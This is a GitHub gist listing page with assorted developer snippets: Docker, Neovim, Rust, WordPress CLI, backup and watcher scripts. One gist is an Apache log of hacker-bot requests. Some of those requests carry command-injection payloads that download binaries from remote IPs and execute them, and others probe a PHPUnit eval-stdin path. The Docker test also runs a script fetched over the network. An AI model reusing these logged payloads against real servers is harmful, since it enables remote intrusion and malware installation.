Skip to content

Instantly share code, notes, and snippets.

@coffebar
coffebar / test-fetch-nvim-conf.sh
Created September 8, 2023 14:52
Docker test for my fetch-nvim-conf.sh from dotfiles
docker run -it --rm archlinux \
sh -c 'useradd -m neovim && usermod -aG wheel neovim;
pacman -Suy --noconfirm base-devel git wget;
echo "neovim ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoers;
sudo -u neovim sh -c "cd /tmp/ && git clone https://aur.archlinux.org/yay.git && cd yay && makepkg --noconfirm -si && /usr/bin/yay -Y --gendb; /usr/bin/yay -y;"
sudo -u neovim sh -c "cd /tmp/ && $(wget -O- https://raw.githubusercontent.com/coffebar/dotfiles/master/fetch-nvim-conf.sh)"'
@coffebar
coffebar / .vimrc.lua
Last active December 5, 2022 20:27
Neovim project-related lua config
-- Local project-level config for Neovim
-- Based on https://gist.github.com/coffebar/6c09c75d5dafcf1d76cc1079e140939c
local augroup_name = "tmp_local_group"
local augroup = vim.api.nvim_create_augroup(augroup_name, { clear = true })
local unbind_table = {}
local function bind(op, outer_opts)
outer_opts = outer_opts or { noremap = true }
return function(lhs, rhs, opts)
opts = vim.tbl_extend("force", outer_opts, opts or {})
@coffebar
coffebar / main.rs
Created October 17, 2022 17:55
Voting app backend with shared app state
use actix_web::{get, web, App, HttpServer};
use serde::Deserialize;
use std::sync::Mutex;
struct AppStateWithCounter {
vote_modal: Mutex<i32>, // <- Mutex is necessary to mutate safely across threads
vote_1: Mutex<i32>,
vote_2: Mutex<i32>,
vote_3: Mutex<i32>,
vote_4: Mutex<i32>,
@coffebar
coffebar / wp-cli.sh
Created January 27, 2022 15:43
WordPress cli gist
wget https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
alias wp="php ~/wp-cli.phar"
DOMAIN=localhost
wp core download
wp core config --dbname=wordpress \
--dbuser=wordpress \
--dbpass="wordpressDbPass" \
--dbhost=localhost \
docker run -d --restart=always --name tor-socks-proxy -p 0.0.0.0:9150:9150/tcp peterdavehello/tor-socks-proxy:latest
@coffebar
coffebar / apache.log
Created July 21, 2020 07:56
log of the hackers bot
122.155.10.51 - - [19/Jul/2020:13:22:44 +0200] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 404 484 "-" "-"
102.44.142.173 - - [20/Jul/2020:21:55:03 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+165.22.101.145/beastmode/b3astmode;chmod+777+/tmp/b3astmode;sh+/tmp/b3astmode+BeastMode.Rep.Jaws HTTP/1.0" 404 481 "-" "Hello, world"
195.54.160.21 - - [21/Jul/2020:08:48:06 +0200] "POST /api/jsonws/invoke HTTP/1.0" 404 473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
195.54.160.21 - - [21/Jul/2020:08:48:06 +0200] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.0" 404 490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
195.54.160.21 - - [21/Jul/2020:08:48:06 +0200] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.0" 404 490 "-" "Mozilla/5.0
#!/usr/bin/env zsh
# Script to create backups from ssh server
# to LUKS encrypted disk on Linux
# Preparation:
# 1. Intsall "cryptsetup" and create LUKS encrypted partition
# save your passphrase into securely stored file - personal usb stick
# or other encrypted partition/folder
# Unmount your partition
#
@coffebar
coffebar / unzip_here.sh
Last active March 25, 2019 18:45
Unpack the archives on the fly inside the directory of the script
#!/bin/bash
cd "$(dirname "$0")"
inotifywait --format '%f' -m -e close_write -e moved_to "./" |\
(
while read
do
FILE_TO_UNZIP=$(echo $REPLY | grep --only-matching --ignore-case -P "^.+\.(zip|rar|7z)$")
if [ "$FILE_TO_UNZIP" != "" ]
then
@coffebar
coffebar / notify_site_changes.sh
Created January 19, 2019 09:30
Watch for regexp result changes on the web page
#!/usr/bin/env bash
function send_telegram {
echo "$1"
}
ver1path="$0.1.cache"
ver2path="$0.2.cache"
ver1=$(cat $ver1path)
curl --silent "https://9gag.com/gag/a2Z7Vpw" 2>&1 | grep 'fbq(' > "$ver2path"
@coffebar
coffebar / todo.txt
Last active September 24, 2021 10:44
How to add ssl cloudflare support to Vesta
cloudflare -> Crypto -> Origin Certificates
Create RSA Certificate
Save Certificate and Private Key
Add it to Vesta with authorities (Cloudflare Origin CA) from https://support.cloudflare.com/hc/en-us/articles/218689638-What-are-the-root-certificate-authorities-CAs-used-with-CloudFlare-Origin-CA-
-----BEGIN CERTIFICATE-----
MIID/DCCAuagAwIBAgIID+rOSdTGfGcwCwYJKoZIhvcNAQELMIGLMQswCQYDVQQG